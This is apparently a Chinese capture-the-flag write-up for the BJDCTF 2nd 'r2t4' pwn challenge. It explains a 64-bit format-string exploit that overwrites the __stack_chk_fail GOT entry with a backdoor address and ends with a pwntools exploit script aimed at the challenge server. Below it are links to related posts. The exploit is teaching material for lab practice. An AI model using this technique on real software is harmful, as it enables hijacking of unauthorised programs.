[BJDCTF 2nd]r2t4

附件

步骤

  1. 例行检查,64位,开启了canary和nx
  2. 64位ida载入,检索字符串的时候发现了后面函数,shell_addr=0x400626
  3. main函数

    可以溢出0x8字节,但是开启了canary保护,没法利用,输出点存在格式化字符串漏洞,可以利用
    查看程序的汇编可以看到,如果程序检查canary不通过,就会去执行___stack_chk_fail,

    由于我们已经获取了后门函数的地址,所以我们可以利用格式化字符串漏洞可读可写的特性,将___stack_chk_fail的地址覆写成后门函数地址,然后故意去溢出破坏canary的值,让其不通过检查,就能去调用后门函数获取shell了

由于这是64位的格式化字符串漏洞利用,与32位的程序有些不一样,可以详看一下这篇文章,这个师傅总结的很到位


要想利用格式化字符串漏洞,首先要了解格式化字符
其中格式化字符有: %c:输出字符,配上%n可用于向指定地址写数据。 %d:输出十进制整数,配上%n可用于向指定地址写数据。 %x:输出16进制数据,如%i$x表示要泄漏偏移i处4字节长的16进制数据,%i$lx表示要泄漏偏移i处8字节长的16进制数据,32bit和64bit环境下一样。 %p:输出16进制数据,与%x基本一样,只是附加了前缀0x,在32bit下输出4字节,在64bit下输出8字节,可通过输出字节的长度来判断目标环境是32bit还是64bit。 %s:输出的内容是字符串,即将偏移处指针指向的字符串输出,如%i$s表示输出偏移i处地址所指向的字符串,在32bit和64bit环境下一样,可用于读取GOT表等信息。 %n:将%n之前printf已经打印的字符个数赋值给偏移处指针所指向的地址位置,如%100x%10$n表示将0x64写入偏移10处保存的指针所指向的地址(4字节),而%$hn表示写入的地址空间为2字节,%$hhn表示写入的地址空间为1字节,%$lln表示写入的地址空间为8字节,在32bit和64bit环境下一样。有时,直接写4字节会导致程序崩溃或等候时间过长,可以通过%$hn或%$hhn来适时调整。

我们先来找一下我们输入的参数在栈上的位置,也就是找偏移量,偏移量为6

我们需要将__stack_chk_fail的地址改写为后门函数地址,但是由于64位程序,printf在输出大量字符时有时会异常,就像前面一次性读入大量字符会异常一样,printf在一次性输出这么大量的字符时也会出现异常。所以解决办法便是一个一个字节来做出修改或者两个两个来,具体的修改方法我上面给的那个链接里也有说明

上面找到的后门函数地址是shell_addr=0x400626,我们一次修改两字节,所以按照两个字节一拆分就是0x0040和0x0626

payload = "%64c%9$hn%1510c%10$hnaaa" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail)

64(0x40):对应backdoor函数地址的高两字节0x0040

9:由于格式化字符串%64c%9$hn%1510c%10$hnaaa占用了24个字节,根据64位程序,24/8=3,所以偏移是6+3=9,配合上$hn使用构成%9$hn,将64(0x40)写入偏移为9的位置,对应的是__stack_chk_fail+2

c:或许有人会这么构造payload = ‘a’ * backdoor_addr + %偏移$n + p64(__stack_chk_fail),但想想这里要读入多少个’a’啊!谁的程序中会一次读取那么多字符?所以要换为另一个格式字符,%c ,读入的字符屈指可数,但经过格式化漏洞转换后,那就是num个字符的输出同样可以达到相同的修改数据的效果

1510:1510+64=1574=0x626,对应backdoor函数地址的低两字节0x0626

10 :在偏移9的基础上加上p64(__stack_chk_fail+2)地址的一字节,即偏移为10

aaa:填充作用,随便写,使之为8的倍数让栈对齐

p64(__ stack_chk_fail+2) + p64(__stack_chk_fail) :将backdoor函数地址分为高两个字节和低两字节进行写入

完整exp:

from pwn import *

r=remote('node3.buuoj.cn',29883)

elf = ELF('./r2t4')
__stack_chk_fail=elf.got['__stack_chk_fail'] payload = "%64c%9$hn%1510c%10$hnaaa" + p64(__stack_chk_fail+2) + p64(__stack_chk_fail) r.sendline(payload)
r.interactive()

[BUUCTF]PWN——[BJDCTF 2nd]r2t4的更多相关文章

  1. [BUUCTF]PWN——[BJDCTF 2nd]ydsneedgirlfriend2

    [BJDCTF 2nd]ydsneedgirlfriend2 附件 步骤: 例行检查,64位程序,开启了canary和nx 试运行一下程序,看看大概的情况,经典的堆块的布局 64位ida载入,习惯性的 ...

  2. [BUUCTF]PWN——[BJDCTF 2nd]secret

    [BJDCTF 2nd]secret 附件 步骤: 例行检查,64位程序,开启了canary和nx 本地试运行一下,看看程序大概的情况,好像是一个什么游戏 64位ida载入,检索程序里的字符串,发现了 ...

  3. [BUUCTF]PWN——[BJDCTF 2nd]test

    [BJDCTF 2nd]test 步骤 根据题目,ssh连接一下靶机 登录成功后,ls看一下当前目录下的文件,根据提示可知,我们没法直接获取flag字符串,但是我们可以读取test的源码, test. ...

  4. [BUUCTF]PWN12——[BJDCTF 2nd]r2t3

    [BUUCTF]PWN12--[BJDCTF 2nd]r2t3 题目网址:https://buuoj.cn/challenges#[BJDCTF%202nd]r2t3 步骤: 例行检查,32位,开启了 ...

  5. [BUUCTF]PWN15——[BJDCTF 2nd]one_gadget

    [BUUCTF]PWN15--[BJDCTF 2nd]one_gadget 附件 步骤: 例行检查,64位,保护全开 nc试运行一下程序,看看情况,它一开始给了我们一个地址,然后让我们输入one ga ...

  6. [BUUCTF]REVERSE——[BJDCTF 2nd]8086

    [BJDCTF 2nd]8086 附件 步骤: 首先查壳儿,无壳,直接上ida,检索字符串,程序里就一个字符串 没法f5反编译出伪代码,大致看了一下汇编,start函数之后调用了sub_10030函数 ...

  7. [BUUCTF]REVERSE——[BJDCTF 2nd]guessgame

    [BJDCTF 2nd]guessgame 附件 步骤: 例行查壳儿,64位程序,没有壳儿 64位ida载入,习惯性的检索程序里的字符串,看到了一串类似flag的字符串,拿去提交,成功 BJD{S1m ...

  8. BUUCTF pwn一分题目

    因为以前做过一些题目,看见1分题目也不太多了,就想着,抓紧点把1分题都刷一下吧.所以开个帖子记录一下,题目简单的话就只贴exp了. [BJDCTF 2nd]secret 这里有一个输入可以进行溢出,n ...

  9. [BJDCTF 2nd]fake google

    [BJDCTF 2nd]fake google 进入页面: 试了几下发现输入xxx,一般会按的格式显示, P3's girlfirend is : xxxxx 然后猜测会不会执行代码,发现可以执行 & ...

随机推荐

  1. cmd命令配置MySQL

    当安装完MySql后,每次windows启动的时候都会将MySql服务启动起来. 如果是winxp则不需要使用管理员权限既可以很简单的打开和关闭,具体在cmd中敲入命令: 1.启动MySql服务: n ...

  2. spring boot 动态生成接口实现类

    目录 一: 定义注解 二: 建立动态代理类 三: 注入spring容器 四: 编写拦截器 五: 新建测试类 在某些业务场景中,我们只需要业务代码中定义相应的接口或者相应的注解,并不需要实现对应的逻辑. ...

  3. emoji表情等特殊字符处理和存储的两个方案

    方案1.改数据库配置 使之支持emoji表情等特殊字符,小公司或者个人开发还好,大公司用此方案代价较大. 以mysql为例,改配置方法参考:https://blog.csdn.net/u0107373 ...

  4. 一个非常好用的IDEA插件,用于填充set

    对于对接三方接口总有一堆字段参数,如在入参时需要赋值,将请求参数封装成一个pojo实体类,然后需要为其set,调用许多setter方法,如果一行行去编写很麻烦,...能不能节省一下我仅存的生产力呀.. ...

  5. flutter第一课

    网上搜到有一个8小时体验flutter的教程,感觉可以尝试一个hello world出来:https://www.jianshu.com/p/9aaabc60d8af 官网下载很慢,可以使用镜像下载, ...

  6. 一次奇怪的的bug排查过程

    公司对底层基础库进行了重构,线上稳定跑了几天,在查看订单系统的log时,有几条error信息非常的奇怪, orderID:80320180 statemachine error: no event [ ...

  7. NOIP2020 模拟赛 B 组 Day6

    非常巧妙的一场模拟赛,比较偏向于 Atcoder 的风格,考场上做出了 A .C 两题. A. 礼物购买 排完序后一个个礼物地枚举时间复杂度是\(\Theta(nm)\)的,不能接受.但是注意到,若当 ...

  8. Matlab 代码注释

    Matlab 代码注释 一直在找类似doxygen一样将程序注释发表成手册的方法,现在发现,Matlab的publish功能自己就能做到. Publish 简介 并非所有注释都能作为文本进行输出,MA ...

  9. 【ThermoRawFileParser】质谱raw格式转换mgf

    众所周知,Proteowizard MSconvert用于质谱原始数据的格式转换,但主要平台是windows,要想在Linux上运行需要打Docker或Wine,对于普通用户来说还是很困难的,想想质谱 ...

  10. 自动添加shell脚本头部信息

    autocmd BufNewFile *.sh exec ":call AddTitleForShell()" function AddTitleForShell() call a ...